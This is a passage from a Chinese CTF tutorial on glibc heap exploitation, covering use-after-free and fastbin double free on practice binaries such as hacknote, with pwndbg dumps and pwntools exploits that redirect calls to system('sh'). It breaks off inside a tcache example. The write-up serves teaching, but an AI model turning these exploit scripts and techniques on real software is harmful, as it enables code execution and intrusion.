02:0010│ 0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1
03:0018│ 0x7fffffffdff8 ◂— 0x0
04:0020│ rbp 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
05:0028│ 0x7fffffffe008 —▸ 0x7ffff767cb97 (__libc_start_main+231) ◂— mov edi, eax
06:0030│ 0x7fffffffe010 ◂— 0xffffffffffffff90
07:0038│ 0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe412 ◂— 0x73782f656d6f682f ('/home/xs')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4008a1 main+71
f 1 7ffff767cb97 __libc_start_main+231

我们查看堆情况

1
2
3
4
5
6
7
8
9
pwndbg> heap p
0x613e70 {
mchunk_prev_size = 6294984,
mchunk_size = 0,
fd = 0x0,
bk = 0xf181,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

根据p我们查看一下chunk指向的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/20gx 0x613e70-16
0x613e60: 0x0000000000000000 0x0000000000000021
0x613e70: 0x0000000000600dc8 0x0000000000000000
0x613e80: 0x0000000000000000 0x000000000000f181
0x613e90: 0x0000000000000000 0x0000000000000000
0x613ea0: 0x0000000000000000 0x0000000000000000
0x613eb0: 0x0000000000000000 0x0000000000000000
0x613ec0: 0x0000000000000000 0x0000000000000000
0x613ed0: 0x0000000000000000 0x0000000000000000
0x613ee0: 0x0000000000000000 0x0000000000000000
0x613ef0: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x0000000000600dc8
0x600dc8 <_ZTV1B+16>: 0x0000000000400918 0x0000000000000000
0x600dd8 <_ZTV1A+8>: 0x0000000000600e00 0x00000000004008fc
0x600de8 <_ZTI1B>: 0x00007ffff7dc7438 0x0000000000400a17
0x600df8 <_ZTI1B+16>: 0x0000000000600e00 0x00007ffff7dc67f8
0x600e08 <_ZTI1A+8>: 0x0000000000400a1a 0x0000000000000001
pwndbg> x/10gx 0x0000000000400918
0x400918 <B::print()>: 0x10ec8348e5894855 0xe13d8d48f87d8948
0x400928 <B::print()+16>: 0xfffffe00e8000000 0xe589485590c3c990
0x400938 <A::A()+4>: 0x9d158d48f87d8948 0x48f8458b48002004
0x400948 <A::A()+20>: 0x485590c35d901089 0x894810ec8348e589
0x400958 <B::B()+10>: 0x8948f8458b48f87d 0x8d48ffffffcee8c7

可以看到最终指向的地址是B中的print()函数,我们继续单步直到p->print()处,也就是漏洞触发之后,再次查看此内存

1
2
3
4
5
6
pwndbg> x/10gx 0x613e70-16
0x613e60: 0x0000000000000000 0x0000000000000021
0x613e70: 0x6665656264616564 0x000000000000000a
0x613e80: 0x0000000000000000 0x0000000000000411
0x613e90: 0x6665656264616564 0x000000000000000a
0x613ea0: 0x0000000000000000 0x0000000000000000

可以看到0x613e70处内容已经修改为我们写入的deadbeef,我们查看一下汇编

1
2
3
4
5
6
7
8
9
10
11
pwndbg> disassemble /m main
Dump of assembler code for function main():
...
38 p->print(); //继续使用p,触发漏洞,程序会报错
=> 0x00000000004008dd <+131>: mov rax,QWORD PTR [rbp-0x20]
0x00000000004008e1 <+135>: mov rax,QWORD PTR [rax]
0x00000000004008e4 <+138>: mov rax,QWORD PTR [rax]
0x00000000004008e7 <+141>: mov rdx,QWORD PTR [rbp-0x20]
0x00000000004008eb <+145>: mov rdi,rdx
0x00000000004008ee <+148>: call rax
...

我们查看寄存器信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x613e70 ◂— 'deadbeef\n'
RBX 0x613e70 ◂— 'deadbeef\n'
RCX 0xa666565626461
RDX 0xa
RDI 0x613e70 ◂— 'deadbeef\n'
RSI 0x6665656264616564 ('deadbeef')
R8 0x613e99 ◂— 0x0
R9 0x7ffff7fd7d80 ◂— 0x7ffff7fd7d80
R10 0x6
R11 0x7ffff76f89a0 (strdup) ◂— push rbp
R12 0x400760 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdfe0 —▸ 0x613e70 ◂— 'deadbeef\n'
RIP 0x4008dd (main+131) ◂— mov rax, qword ptr [rbp - 0x20]

我们发现RAX的内容就是我们输入的信息,结合汇编代码可以发现,最终的call rax这句代码将执行的我们输入的数据所指的地址的代码,也就是我们可以通过输入来getshell,我们通过IDA找到函数的地址

exp:

1
2
3
4
5
6
from pwn import *
p = process('./UAF')
buf_addr = 0x00601080
sh_addr = 0x0400847
p.sendline(p64(buf_addr+8) + p64(sh_addr))
p.interactive()

Example Two

题目链接

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

解题思路

首先运行一下程序,可以看到Menu中有一下几个选项:

1
2
3
4
5
6
7
8
9
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :

我们分别来分析一下各个函数的功能:

add_note

可以看出该函数主要就是创建 note ,最多能够创建5个,每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

print_note

该函数就是输出相应note的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
notelist[v1]->put(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}

delete_note

该函数主要就是删除对应的note,但是在删除的时候只是进行了free而并没有置为NULL,这里就存在UAF漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(notelist[v1]->content);
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

我们可以在IDA中看到程序有一个叫做magic的函数,它的作用就是 cat flag,所以我们只需要修改 note 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。

因为note是一个fastbin chunk(大小为 16 字节),我们需要将note的put字段修改为magic函数的地址,而fastbin chunk是一个单链表有LIFO的特性,所以我们从申请入手,利用过程如下:

  1. 申请 note0,real content size 为 16(大小不为8即可)
  2. 申请 note1,real content size 为 16(同上)
  3. 释放 note0
  4. 释放 note1
  5. 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
  6. 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则 note2 其实会分配 note1 对应的内存块。
  7. real content 对应的 chunk 其实是 note0。
  8. 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

我们动态调试一下整个过程:

1
2
3
4
5
6
7
8
9
pwndbg> heap
0x804b000 {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x0,
bk = 0x151,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

可以看到我们的数据已经成功申请

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x0000000000000000 0x0000001100000000
0x804b160: 0x0804b1700804865b 0x0000002100000000
0x804b170: 0x0000000061616161 0x0000000000000000
0x804b180: 0x0000000000000000 0x0000001100000000
0x804b190: 0x0804b1a00804865b 0x0000002100000000
0x804b1a0: 0x0000000a61616161 0x0000000000000000
0x804b1b0: 0x0000000000000000 0x00021e4900000000
0x804b1c0: 0x0000000000000000 0x0000000000000000
0x804b1d0: 0x0000000000000000 0x0000000000000000
0x804b1e0: 0x0000000000000000 0x0000000000000000

删除之后可以再次来看堆的信息可以看到大小为 16 的 fast bin chunk 中链表为 note1->note0

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x804b150
0x804b150: 0x0000000000000000 0x0000001100000000
0x804b160: 0x0804b17000000000 0x0000002100000000
0x804b170: 0x0000000000000000 0x0000000000000000
0x804b180: 0x0000000000000000 0x0000001100000000
0x804b190: 0x0804b1a00804b160 0x0000002100000000
0x804b1a0: 0x0000000a0804b170 0x0000000000000000
0x804b1b0: 0x0000000000000000 0x00021e4900000000
0x804b1c0: 0x0000000000000000 0x0000000000000000
0x804b1d0: 0x0000000000000000 0x0000000000000000
0x804b1e0: 0x0000000000000000 0x0000000000000000

我们重新申请大小为8,内容为aaaa的note再打印note0就会改变eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> c
Continuing.
Index :0

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x61616161 ('aaaa')
EBX 0x0
ECX 0x0
EDX 0x804b160 ◂— 0x61616161 ('aaaa')
EDI 0x0
ESI 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffd188 —▸ 0xffffd1a8 ◂— 0x0
ESP 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
EIP 0x61616161 ('aaaa')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x61616161



───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffffd15c —▸ 0x804896f (print_note+154) ◂— add esp, 0x10
01:0004│ 0xffffd160 —▸ 0x804b160 ◂— 0x61616161 ('aaaa')
02:0008│ 0xffffd164 —▸ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
03:000c│ 0xffffd168 ◂— 0x4
04:0010│ 0xffffd16c —▸ 0x8048a32 (menu+147) ◂— add esp, 0x10
05:0014│ 0xffffd170 —▸ 0x8048c63 ◂— pop ecx /* 'Your choice :' */
06:0018│ 0xffffd174 ◂— 0x0
07:001c│ 0xffffd178 —▸ 0xf7fa0a30 ◂— add dword ptr [edx + 0xe], eax
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 61616161
f 1 804896f print_note+154
f 2 8048ad3 main+155
f 3 f7defe81 __libc_start_main+241
Program received signal SIGSEGV (fault address 0x61616161)

我们只需要将aaaa改为我们magic的地址即可,而magic函数的地址是在IDA中可以看到的,所以我们可以得到下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*

r = process('./hacknote')


def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic_addr = 0x8048986

addnote(16,"aaaa")
addnote(16,"aaaa")

delnote(0)
delnote(1)

addnote(8,p32(magic_addr))

printnote(0)

r.interactive()

上面的exp并不能拿到shell,只能获得flag,为了拿到shell我们还需要执行system(‘/bin/sh’),下面的版本才是getshell的exp

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

r = process('./hacknote')
elf = ELF('./hacknote')
#r = remote("",)

context.log_level = 'debug'

context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']

if args.G:
gdb.attach(r)

magic_addr = 0x08048986
system_addr = 0x8048500+6

def add_note(size,context):
r.recvuntil(':')
r.send('1')
r.recvuntil(':')
r.send(str(size))
r.recvuntil(':')
r.send(context)

def del_note(index):
r.recvuntil(':')
r.send('2')
r.recvuntil(':')
r.send(str(index))

def print_note(index):
r.recvuntil(':')
r.send('3')
r.recvuntil(':')
r.send(str(index))

add_note(20,'aaaa')
add_note(20,'bbbb')

del_note(0)
del_note(1)

add_note(8,p32(system_addr)+';sh;') # system("address;sh;")

print_note(0)

r.interactive()

system函数地址分布如下,+6 的原因是直接走push 0x38的位置,让程序直接去解析system函数真正的位置,也就是执行dl_runtime_resolve(link_map, index) 函数解析system函数的位置,具体原理详见 ret2dl-resolve

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/10i 0x8048500
0x8048500 <system@plt>: jmp DWORD PTR ds:0x804a028
0x8048506 <system@plt+6>: push 0x38
0x804850b <system@plt+11>: jmp 0x8048480
0x8048510 <exit@plt>: jmp DWORD PTR ds:0x804a02c
0x8048516 <exit@plt+6>: push 0x40
0x804851b <exit@plt+11>: jmp 0x8048480
0x8048520 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a030
0x8048526 <__libc_start_main@plt+6>: push 0x48
0x804852b <__libc_start_main@plt+11>: jmp 0x8048480
0x8048530 <setvbuf@plt>: jmp DWORD PTR ds:0x804a034

Double Free

漏洞介绍

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

  • fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空
  • fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

更详细的介绍CTF-wiki上有,我就不赘述了。下面直接来实例:

Example One

首先创建一个heap.c,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void sh(char *id)
{
system(id);
}

int main()
{
setvbuf(stdout,0,_IONBF,0);
int cmd,idx,sz;
char *ptr[10];
memset(ptr,0,sizeof(ptr));
puts("1.malloc+gets\n2.free\n3.puts\n");
while(1)
{
printf("> ");
scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
idx %= 10;
if(cmd==1)
{
scanf("%d%*c",&sz);
ptr[idx] = malloc(sz);
gets(ptr[idx]);
}
else if(cmd==2)
{
free(ptr[idx]);
}
else if(cmd==3)
{
puts(ptr[idx]);
}
else
{
exit(0);
}
}
return 0;
}

编译:

1
gcc -no-pie heap.c -o heap -g -w

这道题有三个选项,一个申请,一个释放,一个打印,因为可以自己操作释放,我们分析之后发现存在Double Free的漏洞,下面就直接动态演示一下这个过程,我们断在输入的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pwndbg> b 20
Breakpoint 1 at 0x40085b: file heap.c, line 20.
pwndbg> r
Starting program: /home/Thunder_J/桌面/heap
1.malloc+gets
2.free
3.puts

>
Breakpoint 1, main () at heap.c:20
20 scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x2
RBX 0x0
RCX 0x0
RDX 0x7ffff7dd18c0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x1
RSI 0x7fffffffb8e0 ◂— 0x203e /* '> ' */
R8 0x2
R9 0x7ffff7fda4c0 ◂— 0x7ffff7fda4c0
R10 0x3
R11 0x246
R12 0x4006f0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe0e0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe000 —▸ 0x400940 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffdf80 ◂— 0x0
RIP 0x40085b (main+105) ◂— lea rdx, [rbp - 0x78]
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x40085b <main+105> lea rdx, [rbp - 0x78] <0x7ffff7dd18c0>
0x40085f <main+109> lea rax, [rbp - 0x7c]
0x400863 <main+113> mov rsi, rax
0x400866 <main+116> lea rdi, [rip + 0x177]
0x40086d <main+123> mov eax, 0
0x400872 <main+128> call __isoc99_scanf@plt <0x4006d0>

0x400877 <main+133> mov ecx, dword ptr [rbp - 0x78]
0x40087a <main+136> mov edx, 0x66666667
0x40087f <main+141> mov eax, ecx
0x400881 <main+143> imul edx
0x400883 <main+145> sar edx, 2
───────────────────────────────[ SOURCE (CODE) ]────────────────────────────────
In file: /home/xsj/桌面/heap.c
15 memset(ptr,0,sizeof(ptr));
16 puts("1.malloc+gets\n2.free\n3.puts\n");
17 while(1)
18 {
19 printf("> ");
► 20 scanf("%d %d",&cmd,&idx); //这里cmd是选择功能,idx是为了区分申请的第几个chunk
21 idx %= 10;
22 if(cmd==1)
23 {
24 scanf("%d%*c",&sz);
25 ptr[idx] = malloc(sz);
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdf80 ◂— 0x0
... ↓
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 40085b main+105
f 1 7ffff7a05b97 __libc_start_main+231
Breakpoint /home/Thunder_J/桌面/heap.c:20

我们按如下方式先申请两块大小为25的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> n
1 0
...
pwndbg> c
Continuing.
25 aaaaaaaa
...
pwndbg> c
Continuing.
1 1
25 bbbbbbbb
...
pwndbg> heap #find heap
...
0x602660 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x6161616161616161,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602690 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 49,
fd = 0x6262626262626262,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6161616161616161 0x0000000000000000 #'aaaaaaaa'
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6262626262626262 0x0000000000000000 #'bbbbbbbb'
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

现在我们删除chunk,再次观察这里的内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> c
Continuing.
2 0 #free ptr[0]
>
...
pwndbg> c
Continuing.
2 1 #free ptr[1]
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000000000 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
2 0 #free ptr[0] again
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x00000000006026a0 0x0000000000000000 #bp -> 0x6026a0
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000 #bp -> 0x602670
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

可以看到上面释放了之后形成了一个双向链表,如果我们继续申请内存,就会申请在0x602670处,这里我们申请到0x602660,其ASCII码为&

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 2
25 `&`
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000 #bp -> 0x602660
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x0000000000602670 0x0000000000000000
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

我们继续申请内存就会申请到0x602670处的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 3
25 cccccccc
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x0000000000602660 0x0000000000000000
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6363636363636363 0x0000000000000000 #'cccccccc'
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

如果我们继续申请,就会覆盖0x602670处的内容,也就是覆盖这个双链表的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 4
25 deadbeef
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x0000000000000000 0x0000000000000031
0x602670: 0x6665656264616564 0x0000000000000000 #'deadbeef'
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6363636363636363 0x0000000000000000 #'cccccccc'
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

因为0x602670处指向了0x602660,所以我们再次申请内存就会写在0x602660处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
1 5
25 dddddddd
>
...
pwndbg> x/20gx 0x602670-16
0x602660: 0x6464646464646464 0x0000000000000000 #'dddddddd'
0x602670: 0x6665656264616564 0x0000000000000000 #'deadbeef'
0x602680: 0x0000000000000000 0x0000000000000000
0x602690: 0x0000000000000000 0x0000000000000031
0x6026a0: 0x6363636363636363 0x0000000000000000 #'cccccccc'
0x6026b0: 0x0000000000000000 0x0000000000000000
0x6026c0: 0x0000000000000000 0x0000000000020941
0x6026d0: 0x0000000000000000 0x0000000000000000
0x6026e0: 0x0000000000000000 0x0000000000000000
0x6026f0: 0x0000000000000000 0x0000000000000000

既然0x602660处的地址可以利用,那意味着我们可以将malloc()函数修改为sh()的地址,然后getshell,我们先查看一下函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@Thunder_J-virtual-machine:~/桌面# objdump -R heap

heap: 文件格式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601078 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT system@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
0000000000601060 R_X86_64_JUMP_SLOT exit@GLIBC_2.2.5

pwndbg> p sh
$2 = {void (char *)} 0x4007d7 <sh>

我们将地址改为sh()之后还需要一个参数’sh’,我们需要在0x601040处写入’sh’,也就是get函数的地方,最后调用malloc的时候sz替换为’sh’的地址即可,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'debug'
p = process('./heap')
elf =ELF('./heap')

if args.G:
gdb.attach(p)
def cmd(x):
p.recvuntil('> ')
p.send( x + '\n')

def molloc(i,s):
cmd('1 %d\n25 %s'%(i,s))

def free(i):
cmd('2 %d'%i)

def put(i):
cmd('3 %d'%i)

molloc(0,'a'*8)
molloc(1,'b'*8)

free(0)
free(1)
free(0)

molloc(2,p64(0x0601040)) # 指向 0x601040 处地址的内容
molloc(3,'aabb')
molloc(4,'aabb')
x = p64(0x6873) + p64(0x4007d7) # 0x601040 内容修改为 system('sh')
molloc(5,x)

p.recvuntil('> ')
p.sendline('1 6')
p.sendline('6295616 aaaaaaaa') # 执行 0x601040 处内容 0x601040 = 6295616
p.interactive()

Example Two

题目链接

babytcache

这道题需要了解一些tcache的知识,CTF-Wiki上有详细的介绍,简单来说就是tcache_put() 的不严谨

1
2
3
4
5
6
7
8
9
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list,这里其实就有点像Double Free的感觉,只是Double Free不能连续free而这里可以,运行了解一下程序,是一个常见的管理系统

1
2
3
4
5
6
7
root@Thunder_J-virtual-machine:~/桌面# ./babytcache 
NoteBook v0.1
1.add a note
2.delete a note
3.show a note
4.exit
>

IDA分别分析一下每个函数的内容

add_note

这里将创建的地址都放在了ptr[]的地方,也就是0x6020E0处

1
2
3
4
5
6
7
8
9
10
11
12
13
int add_a_note()
{
int v1; // ebx

if ( dword_6020C0 > 9 )
return puts("Full!");
printf("content:");
v1 = dword_6020C0;
ptr[v1] = (char *)malloc(0x50uLL);
sub_4008A6((__int64)ptr[dword_6020C0], 0x50u);
++dword_6020C0;
return puts("Done.");
}

delete_note

1
2
3
4
5
6
7
8
9
10
11
void delete_note()
{
int v0; // [rsp+Ch] [rbp-4h]

printf("index:");
v0 = sub_400920();
if ( v0 < dword_6020C0 )
free(ptr[v0]);
else
puts("out of range!");
}

show_note

1
2
3
4
5
6
7
8
9
10
11
12
13
int show_a_note()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

printf("index:");
v1 = sub_400920();
if ( v1 < dword_6020C0 )
result = puts(ptr[v1]);
else
result = puts("out of range!");
return result;
}

我们首先创建一个note,然后释放三次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> heap
0x603000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x300000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x603250 FASTBIN {
mchunk_prev_size = 0,
